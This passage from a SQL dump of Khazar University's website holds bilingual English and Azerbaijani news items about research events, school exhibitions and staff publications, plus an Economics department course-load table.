margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Then\r\ninitial results of research by Gasham Zeynalov, project director and main\r\ncoordinator, and Shahriyar Alkhasli, PhD student, were shared and a discussion\r\nwas held. At the end of the event, Professor Hamlet Isaxanli and Dr. Hassan\r\nNiknafs, President of Khazar University, shared their views on the research. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Professor Mahammad\r\nNuriyev, Vice President of Khazar University, and PhD students majoring in\r\nPetroleum Engineering also participated in the event.&nbsp;</p>'),(2336,1419,'en','Dunya Pupils Participate in V International “Trash to Art” Exhibition at Gala State Historical and Ethnographic Preserve','On October 12, 2016, pupils from Khazar University’s affiliate Dunya School participated in the V International “Trash to Art” Exhibition at Gala State Historical and Ethnographic Preserve....','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nOctober 12, 2016, pupils from Khazar University’s affiliate Dunya School\r\nparticipated in the V International “Trash to Art” Exhibition at Gala State\r\nHistorical and Ethnographic Preserve. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\nexhibition displayed 25 works of art from 8 countries that had been made from\r\nhousehold garbage and objects that were no longer needed. The main objective of\r\nthe exhibition was to teach people the importance of keeping the environment\r\nclean and break them of the habit of putting unnecessary things into the trash\r\ncan without thinking. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\n“Trash to Art” Exhibition has been carried out since 2010 as part of the “Clean\r\nGala” pilot project initiated by the Heydar Aliyev Foundation and “Clean City”\r\nJoint Stock Company. A “Trash to Art” museum has also been operating in Gala\r\nsince 2015.&nbsp;</p>'),(2605,1566,'az','Hamlet İsaxanlının məqaləsi “Mirnazim Əsədullayev –Sənətə sədaqət” kitabında yer aldı','2016-cı ilin noyabrında Azərbaycan Respublikası Mədəniyyət və Turizm Nazirliyinin dəstəyi ilə 336 səhifəlik “Mirnazim Əsədullayev –Sənətə sədaqət” kitabı “Nurlar” Nəşriyyat-Poliqrafiya...','<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">2016-cı\r\nilin noyabrında Azərbaycan Respublikası Mədəniyyət və Turizm Nazirliyinin dəstəyi\r\nilə 336 səhifəlik “Mirnazim Əsədullayev –Sənətə sədaqət” kitabı “Nurlar” Nəşriyyat-Poliqrafiya\r\nMərkəzində çap olunmuşdur. Kitabın müəllifi Əhsən Rəhmanlıdır. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Kitabın\r\n“Müsahibələr… Xatirələr… Fikirlər” bölməsində Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Sağ ol,\r\nƏziz Mirnazim!” adlı məqaləsi yer almışdır.</p>'),(2587,1556,'az','Hamlet İsaxanlı “Müstəqillik dövrü Azərbaycan ədəbiyyatı” kitabında','2016-cı ildə Azərbaycan Milli Elmlər Akademiyasının Nizami adına Ədəbiyyat İnstitutu tərəfindən iki cilddə “Müstəqillik dövrü Azərbaycan ədəbiyyatı: müasir mərhələdə” kitabı dərc olundu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nildə Azərbaycan Milli Elmlər Akademiyasının Nizami adına Ədəbiyyat\r\nİnstitutu tərəfindən iki cilddə “Müstəqillik dövrü Azərbaycan ədəbiyyatı: müasir mərhələdə”\r\nkitabı dərc olundu. Kitabda “Portret oçerklər” sırasında Xəzər Universitetinin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet\r\nİsaxanlının yaradıcılığı haqqında “Hamlet İsaxanlı –yenilikçi şair” adlı məqalə\r\nyer almışdır. Məqalənin müəllifi professor Bədirxan Əhmədlidir.&nbsp;</p>'),(2223,1360,'az','Neft-qaz mühəndisliyi departamentinin əməkdaşları beynəlxalq konfransda oldular','2016-cı il sentyabrın 26-dan 29-na kimi Xəzər Universitetinin Neft-qaz mühəndisliyi departamentinin müdiri, “eiLink” Tədqiqat və İnkişaf Mərkəzinin direktoru...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify;text-indent:0.25in\">2016-cı il sentyabrın 26-dan 29-na kimi Xəzər Universitetinin\r\nNeft-qaz mühəndisliyi departamentinin müdiri, “eiLink” Tədqiqat və İnkişaf Mərkəzinin\r\ndirektoru Qəşəm Zeynalov və departamentin müəllimləri Şəhriyar Alxaslı, İzat\r\nŞahsenov və Elşən Rzayev Neft Mühəndisləri Cəmiyyətinin Azərbaycan bölməsinin\r\nnümayəndə heyətinin üzvləri kimi Birləşmiş Ərəb Əmirliyinin Dubay şəhərində\r\nkeçirlən Beynəlxalq Neft Mühəndisləri Cəmiyyətinin İllik Texniki Konfransında və\r\nSərgisində (</span><em style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify;text-indent:0.25in\">SPE Annual Technical Conference and Exhibition</em><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify;text-indent:0.25in\">) iştirak\r\netmişlər. Tədbirdə aparıcı neft və qaz şirkətlərinin və eləcə də, bu istiqamətdə\r\naparıcı rol oynayan universitetlərin neft-qaz yataqlarının işlənməsi və istismarı\r\nüzrə əldə etdiyi yeni texnologiyalara həsr edilmiş texniki məruzələrin və sərgilərin\r\ntəqdimatı keçirilmişdir. Konfrans və sərgi çərçivəsində Qəşəm Zeynalov Nyu\r\nMeksiko Texniki İnstitutunun, Aberdin Universitetinin, Kral Abdulla Elm və\r\nTexnologiya Universitetinin və bir sıra şirkətlərin nümayəndələri ilə görüşlər\r\nkeçirmiş və mümkün əməkdaşlıq sahələrini müzakirə etmişdir.</span></p>'),(2224,1361,'az','“Xəzər”in əməkdaşının məqaləsi Kanadada nəşr olundu','Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin əməkdaşı Cəmalə Məmmədovanın Kanadada nəşr olunan “İnternational Journal of English Linguistics”...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Xəzər Universiteti İngilis dili və ədəbiyyatı\r\ndepartamentinin əməkdaşı Cəmalə Məmmədovanın Kanadada nəşr olunan “<em>İnternational Journal of English\r\nLinguistics”</em> elmi jurnalında <em>“Feasibility\r\nof CLİL implementation in the education system of Azerbaijan: Attitude towards\r\nCLİL and the English Language in Higher Educational İnstitutions”</em> (<em>Azərbaycan təhsil sistemində KDİÖ-nin (Kontent\r\nvə dilin inteqritə olinmuş şəkildə öyrənilməsi) tətbiqinin əsaslandirması: KDİÖ\r\nvə ingilis dilinə ali təhsil müəssisələrində münasibət) </em>adlı məqaləsi nəşr\r\nolunmuşdur. Məqalə Azərbaycan ali təhsil müəssisələrində dilin inteqritə\r\nolunmuş şəkildə gələcəkdə tədris olunmasına dair ilkin tövsiyələrdən və bu sahədə\r\ntədqiqatlardan ibarətdir. Tədqiqat 4 ali təhsil müəssəsində və o cümlədən,\r\nböyük bir qismi Xəzər Universitetində aparılmişdır. Məqalə bir sira Avropa\r\nalimlərinin – İspaniya, Lasagabaster &amp; Sierra (2009), Finlandiya,\r\nMerisuo-Storm (2007) və s. tədqiqatları ilə eynilik təşkil edir.</p>'),(575,375,'en','Summer Semester 2018','Summer Semester','<div><h3>Courses delivered in Summer Semester 2018</h3><p><a href=\"http://khazar.org/files/economics/Summer_sem_2018_Principles_of_Accounting_Vusal_M.pdf\">1. Principles of Accounting</a>&nbsp;</p><p><a href=\"http://khazar.org/files/economics/Summer_sem_2018_Calculus_Chinara_H.pdf\">2. Calculus</a>&nbsp;</p></div>'),(576,376,'en','Course Load Fall 2018','Course Load Spring 2018','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\"><strong><em>Course Load- Fall&nbsp;2018</em></strong></p><br><table><tbody><tr><td style=\"background-color:#99ffff\">&nbsp;</td><td style=\"text-align:center;background-color:#99ffff\"><strong>Code</strong>  &nbsp;</td><td style=\"text-align:center;background-color:#99ffff\"><strong>Course name</strong>  &nbsp;</td><td style=\"text-align:center;background-color:#99ffff\"><strong>Prerequisites</strong>  &nbsp;</td><td style=\"text-align:center;background-color:#99ffff\"><strong>Credits</strong>  &nbsp;</td></tr><tr id=\"zebra\"><td>&nbsp;</td><td>&nbsp;<strong>1<sup>st</sup> year</strong>  </td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1&nbsp;</td><td>&nbsp;ENGL 101    </td><td>&nbsp;English Foundations-1&nbsp;(A)</td><td>&nbsp;None      </td><td>&nbsp;8  </td></tr><tr><td>2</td><td>&nbsp;ENGL 101</td><td>&nbsp;English Foundations-1&nbsp;(B)  </td><td>&nbsp;None        </td><td>&nbsp;8</td></tr><tr><td>3</td><td>&nbsp;ENGL 101  </td><td>&nbsp;English Foundations-1&nbsp;(C)  </td><td>&nbsp;None        </td><td>&nbsp;8</td></tr><tr><td>4&nbsp;</td><td>&nbsp;ENGL 101  </td><td>&nbsp;English Foundations-1&nbsp;(D)  </td><td>&nbsp;None        </td><td>&nbsp;8</td></tr><tr><td>5</td><td>&nbsp;CMS 101  </td><td>&nbsp;Introduction to Computer Sciences (A)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>6&nbsp;</td><td>&nbsp;CMS 101  </td><td>&nbsp;Introduction to Computer Sciences (B)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>7</td><td>&nbsp;CMS 101  </td><td>&nbsp;Introduction to Computer Sciences (C)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>8&nbsp;</td><td>&nbsp;CMS 101  </td><td>&nbsp;Introduction to Computer Sciences (D)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>9</td><td>&nbsp;AZLL 101</td><td>&nbsp;Azerbaijani Language&nbsp;(A)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>10&nbsp;</td><td>&nbsp;AZLL 101  </td><td>&nbsp;Azerbaijani Language&nbsp;(B)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>11&nbsp;</td><td>&nbsp;AZLL 101  </td><td>&nbsp;Azerbaijani Language&nbsp;(C)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>12&nbsp;</td><td>&nbsp;AZLL 101  </td><td>&nbsp;Azerbaijani Language (D)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>13&nbsp;</td><td>&nbsp;AZH 150  </td><td>&nbsp;History of Azerbaijan (A)</td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>14&nbsp;</td><td>&nbsp;AZH 150  </td><td>&nbsp;History of Azerbaijan (B)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>15&nbsp;</td><td>&nbsp;AZH 150  </td><td>&nbsp;History of Azerbaijan (C)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>16</td><td>&nbsp;AZH 150  </td><td>&nbsp;History of Azerbaijan (D)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>17</td><td>&nbsp;ECON 100  </td><td>&nbsp;Introduction to Economy (A)  </td><td>&nbsp;None  </td><td>&nbsp;3</td></tr><tr><td>18</td><td>&nbsp;ECON 100  </td><td>&nbsp;Introduction to Economy (B)  </td><td>&nbsp;None  </td><td>&nbsp;3</td></tr><tr><td>19</td><td>&nbsp;ECON 100  </td><td>&nbsp;Introduction to Economy (C)  </td><td>&nbsp;None  </td><td>&nbsp;3</td></tr><tr><td>20</td><td>&nbsp;ECON 103  </td><td>&nbsp;Azerbaijan Economy (A)  </td><td>&nbsp;None  </td><td>&nbsp;3</td></tr><tr><td>21</td><td>&nbsp;ECON 103  </td><td>&nbsp;Azerbaijan Economy (B)  </td><td>&nbsp;None  </td><td>&nbsp;3</td></tr><tr><td>22&nbsp;</td><td>&nbsp;ECON 103  </td><td>&nbsp;Azerbaijan Economy (C)  </td><td>&nbsp;None  </td><td>&nbsp;3</td></tr><tr><td>23</td><td>&nbsp;THM 101</td><td>&nbsp;Principles of&nbsp;Tourism  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td colspan=\"5\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr id=\"zebra\"><td>&nbsp;</td><td>&nbsp;<strong>2<sup>nd</sup> year</strong>  </td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;ENGL 102</td><td>&nbsp;English Foundations-2</td><td>&nbsp;ENGL 101  </td><td>&nbsp;8</td></tr><tr><td>2</td><td>&nbsp;ENGL 103  </td><td>&nbsp;Academic English (A)</td><td>&nbsp;ENGL 102  </td><td>&nbsp;8</td></tr><tr><td>3</td><td>&nbsp;ENGL 103  </td><td>&nbsp;Academic English (B)  </td><td>&nbsp;ENGL 102  </td><td>&nbsp;8</td></tr><tr><td>4&nbsp;</td><td>&nbsp;ENGL 103  </td><td>&nbsp;Academic English (C)  </td><td>&nbsp;ENGL 102  </td><td>&nbsp;8</td></tr><tr><td>5</td><td>&nbsp;ENGL 216  </td><td>&nbsp;English for Special Purposes</td><td>&nbsp;ENGL 103  </td><td>&nbsp;6</td></tr><tr><td>6</td><td>&nbsp;FREN 201</td><td>&nbsp;French- 1 (A)</td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>7</td><td>&nbsp;FREN 201  </td><td>&nbsp;French- 1 (B)</td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>8</td><td>&nbsp;GERM 201</td><td>&nbsp;German- 1&nbsp;(A)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>9</td><td>&nbsp;GERM 201</td><td>&nbsp;German- 1&nbsp;(B)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>10&nbsp;</td><td>&nbsp;CHIN 201</td><td>&nbsp;Chinese- 1</td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>11</td><td>&nbsp;MATH 101  </td><td>&nbsp;Calculus (A)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>12</td><td>&nbsp;MATH 101  </td><td>&nbsp;Calculus (B)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>13</td><td>&nbsp;MATH 101  </td><td>&nbsp;Calculus (C)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>14</td><td>&nbsp;ACC 210  </td><td>&nbsp;Principles of Accounting (A)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>15&nbsp;</td><td>&nbsp;ACC 210  </td><td>&nbsp;Principles of Accounting (B)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>16&nbsp;</td><td>&nbsp;ACC 210  </td><td>&nbsp;Principles of Accounting (C)  </td><td>&nbsp;None  </td><td>&nbsp;6</td></tr><tr><td>17</td><td>&nbsp;ECON 201  </td><td>&nbsp;Principles of Microeconomics (A)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td>18&nbsp;</td><td>&nbsp;ECON 201  </td><td>&nbsp;Principles of Microeconomics (B)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td>19</td><td>&nbsp;ECON 201  </td><td>&nbsp;Principles of Microeconomics (C)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td colspan=\"5\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr id=\"zebra\"><td>&nbsp;</td><td>&nbsp;<strong>3<sup>rd</sup> year</strong>  </td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;MGT 310  </td><td>&nbsp;Management and Organization (A)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td>2</td><td>&nbsp;MGT 310  </td><td>&nbsp;Management and Organization (B)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td>3</td><td>&nbsp;MGT 310  </td><td>&nbsp;Management and Organization (C)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td>4&nbsp;</td><td>&nbsp;FIN 310  </td><td>&nbsp;Fundamentals of Financial Management (A)  &nbsp;</td><td>&nbsp;ACC 210  </td><td>&nbsp;6</td></tr><tr><td>5</td><td>&nbsp;FIN 310  </td><td>&nbsp;Fundamentals of Financial Management (B)  </td><td>&nbsp;ACC 210  </td><td>&nbsp;6</td></tr><tr><td>6&nbsp;</td><td>&nbsp;FIN 310  </td><td>&nbsp;Fundamentals of Financial Management (C)  </td><td>&nbsp;ACC 210  </td><td>&nbsp;6</td></tr><tr><td>7</td><td>&nbsp;MKT 301  </td><td>&nbsp;Principles of Marketing (A)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td>8&nbsp;</td><td>&nbsp;MKT 301  </td><td>&nbsp;Principles of Marketing (B)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td>9</td><td>&nbsp;MKT 301  </td><td>&nbsp;Principles of Marketing (C)  </td><td>&nbsp;ECON 100  </td><td>&nbsp;6</td></tr><tr><td>10&nbsp;</td><td>&nbsp;BSA 215  </td><td>&nbsp;Statistical Methods for Economics and Business\r\n(A)  </td><td>&nbsp;MATH 101  </td><td>&nbsp;6</td></tr><tr><td>11</td><td>&nbsp;BSA 215  </td><td>&nbsp;Statistical Methods for Economics and Business\r\n(B)  </td><td>&nbsp;MATH 101  </td><td>&nbsp;6</td></tr><tr><td>12</td><td>&nbsp;BSA 215  </td><td>&nbsp;Statistical Methods for Economics and Business\r\n(C)  </td><td>&nbsp;MATH 101  </td><td>&nbsp;6</td></tr><tr><td>13&nbsp;</td><td>&nbsp;ACC 340  </td><td>&nbsp;Principles of Taxation (A)  </td><td>&nbsp;ACC 210  </td><td>&nbsp;6</td></tr><tr><td>14&nbsp;</td><td>&nbsp;ACC 340  </td><td>&nbsp;Principles of Taxation (B)  </td><td>&nbsp;ACC 210  </td><td>&nbsp;6</td></tr><tr><td>15&nbsp;</td><td>&nbsp;ACC 410  </td><td>&nbsp;Managerial Accounting</td><td>&nbsp;ACC 210  </td><td>&nbsp;6</td></tr><tr><td>16&nbsp;</td><td>&nbsp;ECON 310</td><td>&nbsp;Intermediate Microeconomics  </td><td>&nbsp;ECON 201  </td><td>&nbsp;6</td></tr><tr><td>17</td><td>&nbsp;THM 301  </td><td>&nbsp;Ecotourism  </td><td>&nbsp;THM 100</td><td>&nbsp;6</td></tr><tr><td>18&nbsp;</td><td>&nbsp;THM 305  </td><td>&nbsp;Tourism Transportation Systems  </td><td>&nbsp;THM 100  </td><td>&nbsp;6</td></tr><tr><td colspan=\"5\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr id=\"zebra\"><td>&nbsp;</td><td>&nbsp;<strong>4<sup>th</sup> year</strong>  </td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;IB 440&nbsp;</td><td>&nbsp;International Trade</td><td>&nbsp;ECON 201  </td><td>&nbsp;6</td></tr><tr><td>2&nbsp;</td><td>&nbsp;ECON 440</td><td>&nbsp;Public Finance</td><td>&nbsp;ECON 201  </td><td>&nbsp;6</td></tr><tr><td>3</td><td>&nbsp;ECON 390</td><td>&nbsp;World Economy</td><td>&nbsp;ECON 202</td><td>&nbsp;6</td></tr><tr><td>4</td><td>&nbsp;MGT 440  </td><td>&nbsp;Production and Operations Management  </td><td>&nbsp;MGT 310  <br></td><td>&nbsp;6</td></tr><tr><td>5</td><td>&nbsp;FIN 420  </td><td>&nbsp;Investment Management  </td><td>&nbsp;FIN 310  </td><td>&nbsp;6</td></tr><tr><td>6&nbsp;</td><td>&nbsp;MGT 450  </td><td>&nbsp;Human Resource Management  </td><td>&nbsp;MGT 310  </td><td>&nbsp;6</td></tr><tr><td>7&nbsp;</td><td>&nbsp;MGT 480  </td><td>&nbsp;Leadership Principles and Applications  </td><td>&nbsp;MGT 310  </td><td>&nbsp;6</td></tr><tr><td>8&nbsp;</td><td>&nbsp;MKT 450  </td><td>&nbsp;Marketing Research  </td><td>&nbsp;MKT 301</td><td>&nbsp;6</td></tr><tr><td>9</td><td>&nbsp;MKT 420  </td><td>&nbsp;International Marketing  </td><td>&nbsp;MKT 301  </td><td>&nbsp;6</td></tr><tr><td>10</td><td>&nbsp;ECON 425  </td><td>&nbsp;Environmental Economy and Policy    </td><td>&nbsp;ECON 201  </td><td>&nbsp;6</td></tr><tr><td>11&nbsp;</td><td>&nbsp;FIN 425  </td><td>&nbsp;Insurance</td><td>&nbsp;FIN 310</td><td>&nbsp;6</td></tr></tbody></table><br><strong><em><br></em></strong><p><em><span style=\"text-decoration:underline\"><strong>MBA</strong></span></em></p><table><tbody><tr><td>1&nbsp;</td><td>&nbsp;ECON 830</td><td>&nbsp;Managerial Economics  </td><td>&nbsp;None  </td><td>6</td></tr><tr><td>2&nbsp;</td><td>&nbsp;ACC 801  </td><td>&nbsp;Financial Accounting  </td><td>&nbsp;None  </td><td>6</td></tr><tr><td>3&nbsp;</td><td>&nbsp;MGT 800  </td><td>&nbsp;Applied Business Statistics  </td><td>&nbsp;None  </td><td>6&nbsp;</td></tr><tr><td>4</td><td>&nbsp;FIN 830  </td><td>&nbsp;Financial Management  </td><td>&nbsp;ACC 801  </td><td>6</td></tr><tr><td>5</td><td>&nbsp;MGT 810  </td><td>&nbsp;Strategic Business Communication  </td><td>&nbsp;None  </td><td>6</td></tr><tr><td>6&nbsp;</td><td>&nbsp;ECON 890  </td><td>&nbsp;Economic Development and Migration  </td><td>&nbsp;ECON 830  </td><td>6</td></tr><tr><td>7&nbsp;</td><td>&nbsp;MGT 870  </td><td>&nbsp;Project Management Framework  </td><td>&nbsp;None  </td><td>6&nbsp;</td></tr><tr><td>8</td><td>&nbsp;FIN 890  </td><td>&nbsp;Advanced Corporate Finance  </td><td>&nbsp;FIN 830  </td><td>6&nbsp;</td></tr><tr><td>9&nbsp;</td><td>&nbsp;FIN 850  </td><td>&nbsp;Financial Markets and Institutions  </td><td>&nbsp;FIN 830  </td><td>6</td></tr><tr><td>10</td><td>&nbsp;FIN 855</td><td>&nbsp;Taxation  </td><td>&nbsp;ACC 801  </td><td>6</td></tr><tr><td>11&nbsp;</td><td>&nbsp;FIN 828  </td><td>&nbsp;International Management  </td><td>&nbsp;ECON 830  </td><td>6&nbsp;</td></tr><tr><td>12&nbsp;</td><td>&nbsp;MKT 850  </td><td>&nbsp;Marketing Research  </td><td>&nbsp;MKT 840  </td><td>6&nbsp;</td></tr><tr><td>13&nbsp;</td><td>&nbsp;ECON 960  </td><td>&nbsp;Research Methods  </td><td>&nbsp;MKT 840  </td><td>6&nbsp;</td></tr><tr><td>14</td><td>&nbsp;MGT 850  </td><td>&nbsp;Operations Management and Logistics  </td><td>&nbsp;ECON 830  </td><td>6&nbsp;</td></tr></tbody></table><div><p><br></p><p><br></p><p><strong>Head\r\nof Economics and Management Department&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dr. Jeyhun\r\nMammadov</strong></p>  <br></div>'),(2332,1419,'az','Şagirdlər “Qala” Dövlət Tarix-Etnoqrafiya Qoruğunda V Beynəlxalq “Tullantıdan sənətə” sərgisində iştirak etdilər','2016-cı il oktyabrın 12-də “Dünya” məktəbinin IV sinif şagirdləri Qala qəsəbəsində “Qala” Dövlət Tarix-Etnoqrafiya Qoruğunda V Beynəlxalq...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il oktyabrın 12-də “Dünya” məktəbinin IV sinif\r\nşagirdləri Qala qəsəbəsində “Qala” Dövlət Tarix-Etnoqrafiya Qoruğunda V\r\nBeynəlxalq “Tullantıdan sənətə” sərgisində iştirak etdilər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Məişət tullantılarından, lazımsız əşyalardan istifadə\r\nolunaraq hazırlanmış sənət əsərlərinin təqdim edildiyi sərgidə 8 ölkədən 25\r\nincəsənət nümayəndəsinin əl işləri nümayiş olunurdu. Sərginin əsas məqsədi\r\nəhaliyə ətraf mühiti təmiz saxlamağın vacibliyini aşılamaq, onları lazımsız\r\nsaydıqları əşyaları düşünmədən zibil qutularına atmaq vərdişlərindən\r\nçəkindirməkdir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qeyd edək ki, “Tullantıdan sənətə” sərgisi 2010-cu ildən\r\netibarən Heydər Əliyev Fondunun təşəbbüsü ilə “Təmiz şəhər” ASC-nin Qala\r\nqəsəbəsində həyata keçirdiyi “Təmiz Qala” adlı pilot layihə çərçivəsində təşkil\r\nolunur. 2015-ci ildən etibarən Qalada “Tullantıdan sənətə” muzeyi də fəaliyyət\r\ngöstərir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong><em>Qeyd: Şəkillər üçün baxın:</em></strong><a href=\"http://dunyaschool.az/2016/10/12/sagirdl%C9%99r-qala-dovl%C9%99t-tarix-etnoqrafiya-qorugunda-v-beyn%C9%99lxalq-tullantidan-s%C9%99n%C9%99t%C9%99-s%C9%99rgisind%C9%99-istirak-etdil%C9%99r/\">http://dunyaschool.az/2016/10/12/sagirdlər-qala-dovlət-tarix-etnoqrafiya-qorugunda-v-beynəlxalq-tullantidan-sənətə-sərgisində-istirak-etdilər/</a>.&nbsp;</p>'),(2333,1420,'az','Karyera Mərkəzi “İntervyu” təlimi təşkil etdi','2016-cı il oktyabrın 13-də Xəzər Universiteti Karyera Mərkəzi Xəzər Universitetinin tələbə və məzunları üçün “İntervyu” təlimi keçirirdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2016-cı il oktyabrın 13-də Xəzər Universiteti\r\nKaryera Mərkəzi Xəzər Universitetinin tələbə və məzunları üçün “İntervyu” təlimi\r\nkeçirirdi. Təlimdə müxtəlif fakultələrin tələbə və məzunları iştirak edirdilər.\r\nTəlimi Xəzər Universiteti Karyera Mərkəzinin koordinatoru Ülviyyə Hüseynova təşkil\r\netmişdi. Təlimdə iştirakçılar intervyu prosesində iştirak, intervyu suallarının\r\nnümunələri, oturuş qaydası, intervyu apararanla ünsiyyət forması, üz ifadələri\r\nvə mimikalardan düzgün istifadə qaydaları ilə tanış oldular. Hər iştirakçı üçün\r\nnəzərdə tutulmuş intervyu prosesi video, audio formatda yazıya alındı və müzakirə\r\naparıldı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Təlimin sonunda yaranan suallara, intervyu zamanı\r\niştirakçıların etdiyi səhvlərə aydınlıq gətirildi.&nbsp;</p>'),(2334,1421,'az','Xəzər Universitetinin “eiLink” TİM-nin birinci geoloji tədqiqat layihəsinin təqdimatı keçirildi','2016-cı il oktyabrın 12-də Xəzər Universitetinin “eiLink” Tədqiqat və İnkişaf Mərkəzinin birinci geoloji tədqiqat layihəsinin təqdimatı keçirildi...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 12-də Xəzər\r\nUniversitetinin “eiLink” Tədqiqat və İnkişaf Mərkəzinin birinci geoloji\r\ntədqiqat layihəsinin təqdimatı keçirildi. Təqdimatı giriş sözü ilə Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı açaraq, “eiLink” Tədqiqat və İnkişaf Mərkəzininin\r\nyaradılmasının əhəmiyyətindən danışdı. Tədbirdə iştirak edən Xəzər Universitetinin\r\nNeft-qaz mühəndisliyi kafedrasının müdiri və “eiLink” Təqiqat və İnkişaf\r\nMərkəzinin direktoru Qəşəm Zeynalov və Azərbaycan Neft Mühəndisləri İctimai\r\nBirliyinin İdarə Heyətinin üzvləri “eiLink” Tədqiqat və İnkişaf Mərkəzinin\r\nyaradılması, onun vəzifələri və hazırda aparılan tədqiqat işlərinin\r\nistiqamətləri haqqında məlumat verdilər. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonra layihənin rəhbəri və əsas\r\nicraçısı Qəşəm Zeynalov, layihənin icraçısı və universitetin doktorantı\r\nŞəhriyar Alxaslı tədqiqatların ilkin nəticələrini təqdim etdilər. Layihə tədbir\r\niştirakçıları tərəfindən geniş müzakirə edildi. Tədbirin sonunda Xəzər\r\nUniversitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı, universitetin rektoru Dr.Hassan Niknafs tədqiqatlarla bağlı fikirlərini 